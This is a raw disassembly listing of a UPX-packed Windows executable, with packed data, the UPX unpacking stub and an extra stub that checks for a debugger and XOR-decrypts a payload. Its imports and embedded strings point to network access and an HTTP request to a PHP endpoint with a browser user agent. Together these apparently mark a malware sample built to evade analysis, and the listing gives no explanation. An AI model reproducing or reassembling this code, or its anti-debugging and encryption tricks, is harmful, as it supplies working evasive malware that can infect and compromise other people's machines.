		dd 0E0C040Ch, 5D8B3C83h, 53012848h, 8A5C1FDEh, 0BA4EC70Fh
		dd 3CDA948Eh, 0DBC5E0F8h, 4E365C1Eh, 7F9DF779h,	5BBC4B78h
		dd 7AA4C62Fh, 0D8F33568h, 2583D98Ah, 13DD109Ah,	208CC5E8h
		dd 7D721C20h, 6CF15947h, 1E748DF0h, 56FC2101h, 0FDE8DE99h
		dd 0FF1CC481h, 0DE45E0B5h, 661F0FFFh, 52417366h, 67506008h
		dd 46C386AEh, 89BD766Ch, 7B6338B7h, 0FFA15E1h, 3C757D0h
		dd 0C8E42480h, 0D4069B91h
		dd 0DC54D86Ch, 391C8E48h, 0E440E072h, 0EC1CE834h, 9F306410h
		dd 4EF4F047h, 89B0E4F4h, 7DD345F3h, 0BE03BF0Ah,	8E2D9198h
		dd 188B1D85h, 2F60C8CFh, 1146468Bh, 540E1775h, 9AD82ED3h
		dd 7B180B1Dh, 91488337h, 0B635C9A8h, 88812A75h,	78C07611h
		dd 0AD0974FCh, 8B3176E0h, 6A88EB7Eh, 845B2863h,	27F827A1h
		dd 0E0831B70h, 5C08303h, 2A2E1AE9h, 4727524Fh, 21B916C8h
		dd 3DA410E4h, 0B9987051h, 0E26D677h, 0B3BC3814h, 50E1F660h
		dd 20403461h, 598B2DF7h, 28ABDEE0h, 3166CCC6h, 4178182Bh
		dd 1B3E8497h, 1F45414h,	56580757h, 84D84C3Ch, 5CFB06E9h
		dd 1FC561ACh, 5F14C748h, 0EB0BB700h, 4552E025h,	501D6AE0h
		dd 0DF086103h, 0E071BCBFh, 8AE13F51h, 3774D483h, 0F1BB0AC3h
		dd 5FD88AE6h, 5352D14Dh, 0EEBC8AF4h, 530D8BD9h,	0EBB1383Dh
		dd 3A04590Fh, 32CE6BDBh, 8D6568B6h, 0E2165B03h,	0B6BB2665h
		dd 0FB4A81ACh, 0BB46D856h, 6E17D035h, 5CE15BB9h, 8134B25Eh
		dd 0E7951282h, 3784864Ch, 0BBC63176h, 0C52CFD3Bh, 0AE65B208h
		dd 0B16807E0h, 0C48BC85h, 0CD6015EBh, 0C4032394h, 1FE3AB09h
		dd 0EFD0F53Ch, 0E244330Ch, 0BE6A7668h, 1362D9ECh, 0CC4011h
		dd 0CCFC25FFh, 11E6C8C8h, 0ECF0F405h, 0C3A91A85h, 8D33511Fh
		dd 0DFB1FD8Bh, 811472F7h, 42D0BE9h, 73170185h, 8BC82BECh
		dd 0ADEE91C4h, 0E18B0CBEh, 482088Bh, 644FC350h,	91B1B088h
		dd 49585Ch, 11601500h, 0A5F8F108h, 2061479h, 41535224h
		dd 0FFFF8031h, 145ADBBh, 838DF501h, 0EC527911h,	0F63AE42Ah
		dd 0EA9B49E7h, 0FFAFBEE0h, 21FFFFFFh, 95447EDBh, 32615E1Ah
		dd 6A1F85A0h, 94FF949Fh, 26A68439h, 1DCE358Fh, 0BC9A55Ch
		dd 0FF657AB2h, 72A03FFFh, 7A6F4DB3h, 616C6C69h,	302E342Fh
		dd 6F632820h, 0FF61706Dh, 74FFFB5Bh, 656C6269h,	534D203Bh
		dd 36204549h, 69570915h, 776F646Eh, 0BF4E2073h,	54FDD41Bh
		dd 312E3520h, 441C6F29h, 0FC040C01h, 0DBEF9E41h, 0D800EC34h
		dd 0B80EC809h, 0E79EF9ACh, 8090A079h, 0E7680474h, 5CE79E79h
		dd 20344454h, 9E7CD328h, 40FC0810h, 0FEDDBEF0h,	7465CE5Fh
		dd 64726168h, 7A69622Eh, 6B630800h, 6C2E73BAh, 0DBCBDB76h
		dd 766317DFh, 75722E76h, 77777707h, 0A76C6465h,	0DBB7FB65h
		dd 6F6C0F63h, 6F670A76h, 736F6830h, 6B732E74h, 0EDD8DBE7h
		dd 65E566EDh, 63456573h, 1E002268h, 59ED7B6Ch, 6E6564FBh
		dd 0FDA6173h, 9577566h,	0FFED67FFh, 6B6EEB5Bh, 726F2E69h
		dd 72740067h, 1F206A6Fh, 7632DB61h, 6B3A3C6Bh, 746D0C61h
		dd 0AD6D2D83h, 2E78C33Dh, 71065B2Fh, 0B6CE620Eh, 6B2AB66Dh
		dd 276262Bh, 0CB630B7Ah, 5DFB1B6h, 2E706F74h, 5B69176Eh
		dd 5BF2773h, 0B56B736Ch, 757A0F78h, 652D746Ch, 0B6B0ED6h
		dd 5B176983h, 0ABA8D6Bh, 0C2B42BDFh, 694F9195h,	7DFB429Fh
		dd 780032C0h, 6A2C6177h, 0BE256262h, 0DFECEDh, 66617A9Bh
		dd 5D2EA861h, 7F5C2365h, 0E71221E1h, 23636261h,	69686766h
		dd 0F8DF6B6Ah, 6D6CEDDBh, 7271C56Eh, 777675F7h,	8C7A7978h
		dd 44434241h, 0FFF97FB4h, 48474645h, 4C4B4A49h,	504F4E4Dh
		dd 56555451h, 5A595857h, 0FFD81D1Bh, 74685B61h,	2F3A7074h
		dd 0B73252Fh, 0F85B7D2Fh, 2E9765CDh, 3F706870h,	3F0F3D0Eh
		dd 0FB6E6373h, 6B6B5F6h, 6E70C64h, 313D3B76h, 0C1133F34h
		dd 746E520Eh, 58EBD81Bh, 77F7D93Dh, 373231EDh, 3A3101A8h
		dd 2F303038h, 0DFDF65h,	1B01FFFFh, 335DDFE8h, 0EEB966C9h
		dd 5758D01h, 68AFE8Bh, 0DFFFD13Ch, 460799B6h, 46302C06h
		dd 7889934h, 0EBEDE247h, 0FDDAE80Ah, 6C28DFEFh,	2E676557h
		dd 0C9999371h, 0BDFD1201h, 0EE16FD91h, 7BFFFDFh, 0AA6872C1h
		dd 0AA66FD42h, 14BA10FDh, 1A98A91Ch, 0F198F3C9h, 63FF6708h
		dd 710286B7h, 5F9010C0h, 599237CBh, 3A781C96h, 1F27DB14h
		dd 7157E4F6h, 713A0A7Dh, 0F19DF345h, 3A478904h,	0F1097DF7h
		dd 40119C04h, 0DFF367B3h, 0E3FB1DDBh, 0DC1C10F0h, 6059B20Bh
		dd 125C99Bh, 7B1F2CD9h,	0A10414ECh, 9E71CA17h, 61688D2Bh
		dd 67DAAD91h, 0E21A8C2Fh, 28111D96h, 0C850B2h, 0DEDB3FDBh
		dd 57DC1499h, 4E122555h, 1291C0A4h, 0FBED9949h,	0F7BDBFD9h
		dd 0C4140054h, 71CBCA3Ah, 24FF1C3Bh, 0D91A21E4h, 0CFBB0F66h
		dd 668FCDCDh, 1E3F812Ch, 3FF76CDFh, 83B8B0FBh, 5D12CDC3h
		dd 1DCBC9A8h, 0FEC9AD25h, 0B243B64h, 96A6485Ah,	976714C0h
		dd 4C1B93FDh, 0F3EBA729h, 16E9BA9Ch, 0B3FFEE34h, 7126F4EFh
		dd 0F90EFCF5h, 29EF133Bh, 5F376B46h, 0DE4766DEh, 0ECECDFFFh
		dd 116ADA8h, 0EDFFC5B7h, 0FDE9ECE9h, 2CE1FCB7h,	0C21F77FBh
		dd 0FCF5CA01h, 0FCF25AFCh, 0F5FCF7EBh, 0FED6ABAAh, 0C77FFFCBh
		dd 59AAF934h, 2A2A25B4h, 93ACC966h, 90B78190h, 0C983639Dh
		dd 0D89271CDh, 30CFE17Dh, 513519BFh, 0A95D914h,	712A9172h
		dd 0FFFFF6C8h, 0A5D2EB41h, 0E180D512h, 6FAA529Ah, 9A2A8D14h
		dd 8B12B9C8h, 0FF474A9Ah, 0C38DFDBFh, 0DB9BAB9Eh, 0EC20A319h
		dd 0BDDDA26Ch, 0DF9EED85h, 0EB81E8A2h, 0FB7FFF9Ah, 0C8125544h
		dd 2E961FBDh, 0D812EB8Dh, 125A9A85h, 5A9A099Dh,	0FF76F810h
		dd 0D0961613h, 7F664922h, 8712FEFDh, 95C25AA9h,	0DEDDB680h
		dd 82128502h, 0CB5A9104h, 7213CFF7h, 85B7CFF3h,	424D53FFh
		dd 0C8531872h, 0E97FFFFFh, 62FE9Fh, 83435002h, 4F575445h
		dd 50204B52h, 52474F52h, 0DAC54D41h, 3120C6B7h,	414C17CDh
		dd 0A024D4Eh, 21D6A56Eh, 0B71566ABh, 0D6676B03h, 0AAB76D2Dh
		dd 330E7075h, 4D27611Ah, 6C3E5423h, 215832E9h, 2E323232h
		dd 0A6B06731h, 2018D6CDh, 0A48B323Ch, 9192B51Bh, 0C0A0773h
		dd 0B7D83635h, 40023FFh, 20140A11h, 0BD10D405h,	698E4BB5h
		dd 534B4C00h, 23DB5053h, 97EFFE09h, 82E00882h, 6E240057h
		dd 0F02EE6D8h, 6F006400h, 3A73009Dh, 2D013074h,	9BDBD91h
		dd 3500398Ch, 0D9131D23h, 72EB980h, 8ABDA00h, 9E406499h
		dd 9F57DA20h, 2712760Dh, 462A0003h, 3C8D4723h, 40078320h
		dd 10060006h, 0CFFFA297h, 8A151F01h, 48E088h, 3644004Fh
		dd 2266A19h, 0F27AFFFBh, 281C49E4h, 742530AFh, 0E1536710h
		dd 0A796D5Ch, 3075DFF9h, 75C0400h, 735D7BAEh, 5C085ABDh
		dd 72E4D61h, 0E46C6EDBh, 2E380036h, 491B3077h, 1C43EC00h
		dd 20173676h, 64633F00h, 0F201F2DBh, 4DC08A2h, 24FF1640h
		dd 0FE41ECh, 0E00DEDEh,	19F1600h, 7EFB2602h, 28402613h
		dd 8B110319h, 8359D96Ch, 0D374868Dh, 0DB2A9B70h, 9C77C852h
		dd 109F256Bh, 0B03BAE0Eh, 1B044867h, 5A541354h,	0BADB9F73h
		dd 22596326h, 45CBC75Ch, 7BD8765h, 5FE69h, 4810030Bh, 0EB810B8h
		dd 8BFFFFD8h, 286A050Bh, 0B10C3919h, 0A89B11D0h, 0D94FC000h
		dd 2F5FF52Eh, 5DFFC2FBh, 1CEB8A88h, 0E89F11C9h,	48102B3Ch
		dd 0F40CD160h, 645CF92Bh, 0CA060A3h, 0C8790064h, 0CB10CA0h
		dd 77FDF200h, 880CA072h, 90040h, 703ECh, 4F08F60Dh, 4F401495h
		dd 0BF40707Ch, 4BD91100h, 13430791h, 0FF84F3C8h, 138578h
		dd 0E9A65BABh, 2FF81013h, 139E31A8h, 230EFEFFh,	6183A440h
		dd 8408FEB0h, 0C9E44388h, 10B9FBA7h, 0B801FFEEh, 0E4200C10h
		dd 0ADF26CC3h, 0F7F070Dh, 0CB3E4AD8h, 7001182Bh, 200D0F84h
		dd 0F84F21Fh, 2000F95h,	0F93C9B0Fh, 6C0F847Fh, 0A89A000Fh
		dd 955BD91h, 9513436Fh,	1F18127Fh, 50586E69h, 79725020h
		dd 814DB6h, 39014446h, 92796B32h, 123C089Fh, 41027515h
		dd 0F6440053h, 941C081Ah, 5FFF3701h, 0C606EB39h, 73255C5Ch
		dd 6370695Ch, 0EC816624h, 0FFF2EA6Ah, 0E4FF071Ch, 44655300h
		dd 67756265h, 67997669h, 31F46EA5h, 6A6441A7h, 6F546175h
		dd 66DB92E0h, 73176EB2h, 75126F4Ch, 76FDB670h, 6C61567Fh
		dd 17416575h, 6F28704Fh, 34732463h, 3523A960h, 61764300h
		dd 8D94333Fh, 79E3C54Ah, 6FE26D4Ch, 65DC40B4h, 72545F11h
		dd 0D4577961h, 355754B6h, 61314317h, 754A521Ah,	6F68B6EEh
		dd 0C685405h, 0D4735614h, 0DB8D6DADh, 4F284158h, 9E977845h
		dd 3A77CDB5h, 0F547356Eh, 54481EF3h, 0D1A25C4Bh, 3C7F5054h
		dd 20573220h, 0F7BD4AD6h, 0A0D4B4Fh, 449F4B01h,	0AB7D9B02h
		dd 44C2DEDh, 203AA567h,	2F187525h, 2961ED6Bh, 0B5795428h
		dd 99B5A326h, 0AE706ADAh, 2F158363h, 6A3AA7B9h,	932DC702h
		dd 2D0AC972h, 57C75AC6h, 0E92B0047h, 0F48D6D1Eh, 0CBE564F6h
		dd 0ED0B2D73h, 736D8D5Fh, 0CBA96376h, 0DF736977h, 3F14E2Dh
		dd 75175F32h, 6B7203E7h, 3233669Ah, 39133031h, 73E41900h
		dd 0D10038E7h, 52303107h, 33075213h, 803AA778h,	0B59FFF2Ah
		dd 4F536F8Dh, 41575446h, 4D5C4552h, 0D8B07E69h,	8B6FB5B6h
		dd 435C735Ch, 0E727275h, 0C9E80577h, 5CBE8656h,	0D787552h
		dd 902C3B43h, 135BB055h, 0FFE426E5h, 73616664h,	647A6E68h
		dd 536C6473h, 96DC149h,	0E57B27Bh, 9B4BF96Ch, 1242B95Bh
		dd 4449AF57h, 83432053h, 0FA43ABFBh, 0D5762067h, 0B90076D7h
		dd 1C2B6F67h, 20639D32h, 0D90B1053h, 6544B64Bh,	23871A1Bh
		dd 2DCCDF8Fh, 79831217h, 856B0C73h, 4200C2C6h, 0FD5B20FFh
		dd 5A851323h, 6D1B16E3h, 4E061420h, 60300B1Bh, 207C4437h
		dd 0B25B66AAh, 672F6EE7h, 632A9C6Dh, 0AC446324h, 690A0BFDh
		dd 4D207974h, 1A1E6E61h, 0EC2A9AE9h, 53C4009Eh,	0DB78C40h
		dd 0B046B4C6h, 37C10C65h, 0DB6C6E0h, 6F4D1B47h,	0C046654Fh
		dd 334DD36Dh, 306D614Eh, 72DB6C01h, 82EF7363h, 5B0A5D6Bh
		dd 0A197970h, 0DC934BCDh, 3265F086h, 146F4916h,	6CA68DB6h
		dd 5354702Fh, 5AC370D4h, 232B520Bh, 32126419h, 15D4CD73h
		dd 57540FF3h, 0D8182C35h, 210580C2h, 6974844Eh,	2D743B92h
		dd 33495D61h, 761E4F91h, 0A64DB68h, 6A446163h, 0C2C17645h
		dd 810CE7C2h, 75464461h, 7B6E9553h, 4F91B42Bh, 748C6A62h
		dd 16097214h, 2DBC8B9Ah, 0AA48E03Fh, 58BDEC36h,	0D1183A0Ch
		dd 77B82708h, 61DB6ED8h, 44CCF94Dh, 1D0D6615h, 79CD6357h
		dd 95D6E914h, 2B1FAD6Ah, 530F3284h, 9B318209h, 0A77065ECh
		dd 0ECD8216Eh, 0D4C973D6h, 64960B12h, 0AF660F72h, 4C2B47F1h
		dd 520A6269h, 0B5CD58A0h, 6D4D2BC1h, 0B3911367h, 82084059h
		dd 84BA63BAh, 55548D85h, 4757C6Bh, 86B3664Dh, 4178A5EDh
		dd 2C0D8E0Dh, 5DC97B42h, 622D39AFh, 0C21E561Dh,	31784538h
		dd 373C2E52h, 652E05C1h, 657A4E08h, 0CD81C16Dh,	0BB4C9122h
		dd 6D304145h, 0DADE6ADh, 3F497544h, 5A1B26FBh, 986747D1h
		dd 4579654Bh, 3B9C0458h, 0F747D10h, 76B584BDh, 11ED0A51h
		dd 0B362CC95h, 215A3080h, 0DBB42010h, 0C51C23Bh, 0A07B6241h
		dd 815A9AC4h, 6E48FB97h, 675CC1FDh, 7774160Bh, 0FB103848h
		dd 0A7DB66Bh, 0E611244h, 79666971h, 0AD61B4D7h,	757A6763h
		dd 0F66C362Bh, 0C536F616h, 112C796Fh, 5038106Fh, 8F527708h
		dd 90D883C1h, 149FF67Fh, 75716341h, 594D7269h, 4974AE70h
		dd 133AA020h, 0C336D1DEh, 7273E8A7h, 0B26D06C1h, 0CE18B1E5h
		dd 0F740E2Ch, 0E1746573h, 1D676856h, 3F65445Fh,	0C6ED685Fh
		dd 0ACC0CC5Ch, 63070227h, 150B38A6h, 0AFE90FA5h, 0AE598CC7h
		dd 14444046h, 330D8BFCh, 15C16540h, 41B90A14h, 0C1DE3098h
		dd 76CD6649h, 70776C2Bh, 4166B105h, 1E20F44Fh, 643A441Ch
		dd 2955850Dh, 9BDB0B60h, 490E1141h, 961B835h, 6E036B14h
		dd 325C332Ch, 7453A32Bh, 11531A81h, 0C054648Bh,	9659653Bh
		dd 273FF6Dh, 39010D02h,	96596596h, 0C17346Fh, 95180409h
		dd 10135965h, 6F3AE916h, 45503AB6h, 9774C49h, 46CE40D2h
		dd 0E0FD1E5Fh, 6010B01h, 0B1142474h, 0DF13CF60h, 9B250B22h
		dd 0F7AFA12Dh, 7FD020Bh, 6E676050h, 341E0CD9h, 5E590710h
		dd 86066F02h, 0A8C2C84h, 64080DDBh, 341E0178h, 2EE31758h
		dd 90237B6Ah, 609BC724h, 452CA64h, 0E1642EE0h, 0B720BEC2h
		dd 2B0FE4FBh, 25982728h, 0C016DD7Eh, 1D2E8804h,	0AEh, 12000000h
		dd 0FF00h, 2 dup(0)
; ---------------------------------------------------------------------------
		pusha
		mov	esi, offset dword_30905000
		lea	edi, [esi-4000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_30906B22
; ---------------------------------------------------------------------------
		align 8


loc_30906B18:				; CODE XREF: UPX1:loc_30906B29j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_30906B1E:				; CODE XREF: UPX1:30906BB6j
					; UPX1:30906BCDj
		add	ebx, ebx
		jnz	short loc_30906B29


loc_30906B22:				; CODE XREF: UPX1:30906B10j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_30906B29:				; CODE XREF: UPX1:30906B20j
		jb	short loc_30906B18
		mov	eax, 1


loc_30906B30:				; CODE XREF: UPX1:30906B3Fj
					; UPX1:30906B4Aj
		add	ebx, ebx
		jnz	short loc_30906B3B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_30906B3B:				; CODE XREF: UPX1:30906B32j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_30906B30
		jnz	short loc_30906B4C
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_30906B30


loc_30906B4C:				; CODE XREF: UPX1:30906B41j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_30906B60
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_30906BD2
		mov	ebp, eax


loc_30906B60:				; CODE XREF: UPX1:30906B51j
		add	ebx, ebx
		jnz	short loc_30906B6B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_30906B6B:				; CODE XREF: UPX1:30906B62j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_30906B78
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_30906B78:				; CODE XREF: UPX1:30906B6Fj
		adc	ecx, ecx
		jnz	short loc_30906B9C
		inc	ecx


loc_30906B7D:				; CODE XREF: UPX1:30906B8Cj
					; UPX1:30906B97j
		add	ebx, ebx
		jnz	short loc_30906B88
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_30906B88:				; CODE XREF: UPX1:30906B7Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_30906B7D
		jnz	short loc_30906B99
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_30906B7D


loc_30906B99:				; CODE XREF: UPX1:30906B8Ej
		add	ecx, 2


loc_30906B9C:				; CODE XREF: UPX1:30906B7Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_30906BBC


loc_30906BAD:				; CODE XREF: UPX1:30906BB4j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_30906BAD
		jmp	loc_30906B1E
; ---------------------------------------------------------------------------
		align 4


loc_30906BBC:				; CODE XREF: UPX1:30906BABj
					; UPX1:30906BC9j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_30906BBC
		add	edi, ecx
		jmp	loc_30906B1E
; ---------------------------------------------------------------------------


loc_30906BD2:				; CODE XREF: UPX1:30906B5Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 84h


loc_30906BDA:				; CODE XREF: UPX1:30906BE1j
					; UPX1:30906BE6j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_30906BDF:				; CODE XREF: UPX1:30906C04j
		cmp	al, 1
		ja	short loc_30906BDA
		cmp	byte ptr [edi],	1
		jnz	short loc_30906BDA
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_30906BDF
		lea	edi, [esi+4000h]


loc_30906C0C:				; CODE XREF: UPX1:30906C2Ej
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_30906C57
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+6000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+608Ch]
		xchg	eax, ebp


loc_30906C29:				; CODE XREF: UPX1:30906C4Fj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_30906C0C
		mov	ecx, edi
		jns	short near ptr loc_30906C3A+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_30906C3A:				; CODE XREF: UPX1:30906C32j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+6090h]
		or	eax, eax
		jz	short loc_30906C51
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_30906C29
; ---------------------------------------------------------------------------


loc_30906C51:				; CODE XREF: UPX1:30906C48j
		call	dword ptr [esi+6094h]


loc_30906C57:				; CODE XREF: UPX1:30906C10j
		popa
		jmp	loc_309022DF
; ---------------------------------------------------------------------------
		align 400h
UPX1		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00007000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX2		segment	para public 'CODE' use32
		assume cs:UPX2
		;org 30907000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 70C4h, 708Ch, 3 dup(0)
		dd 70D1h, 709Ch, 3 dup(0)
		dd 70DEh, 70A4h, 3 dup(0)
		dd 70E9h, 70ACh, 3 dup(0)
		dd 70F4h, 70B4h, 3 dup(0)
		dd 7100h, 70BCh, 5 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0
		dd 77DD189Ah, 0
		dd 77C3528Dh, 0
		dd 77D4C96Ah, 0
		dd 7620AFB6h, 0
		dd 71AB1A6Dh, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h
		dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h
		dd 642E3233h, 6C6Ch, 64616F4Ch,	7262694Ch, 41797261h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h
		dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h
		dd 646Eh, 72707377h, 66746E69h,	41h, 65746E49h,	74656E72h
		dd 6E65704Fh, 41h, 26h dup(0)
; ---------------------------------------------------------------------------

		public start
start:
		pop	ebx
		call	loc_3090725F
		mov	esp, [esp+8]
		mov	eax, 4EBh	; CODE XREF: UPX2:3090720Fj
		jmp	short near ptr loc_3090720A+1
; ---------------------------------------------------------------------------
		mov	eax, fs:18h
		mov	eax, [eax+30h]
		movzx	eax, byte ptr [eax+2]
		cmp	eax, 0
		jnz	short locret_3090725E
		call	$+5
		pop	ebp
		sub	ebp, 402320h
		mov	eax, [ebp+402367h]
		add	eax, [ebp+40236Fh]
		mov	esi, eax
		mov	eax, [ebp+40236Bh]
		add	eax, [ebp+40236Fh]
		push	eax
		mov	edi, esi
		xor	ecx, ecx


loc_3090724D:				; CODE XREF: UPX2:3090725Cj
		lodsb
		xor	al, [ebp+402377h]
		stosb
		inc	ecx
		cmp	ecx, [ebp+402373h]
		jl	short loc_3090724D

locret_3090725E:			; CODE XREF: UPX2:30907220j
		retn
; ---------------------------------------------------------------------------


loc_3090725F:				; CODE XREF: UPX2:30907201p
		sub	eax, eax
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, 12345678h
		xchg	eax, [ebx]
		add	[eax+0], dl
; ---------------------------------------------------------------------------
		db 2 dup(0), 6Bh
		dd 0
		db 90h
		db 30h,	0, 1Eh
		dd 100000h, 760h dup(0)
UPX2		ends

; Section 4. (virtual address 00009000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00009000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 30909000h
		align 2000h
_idata2		ends


		end start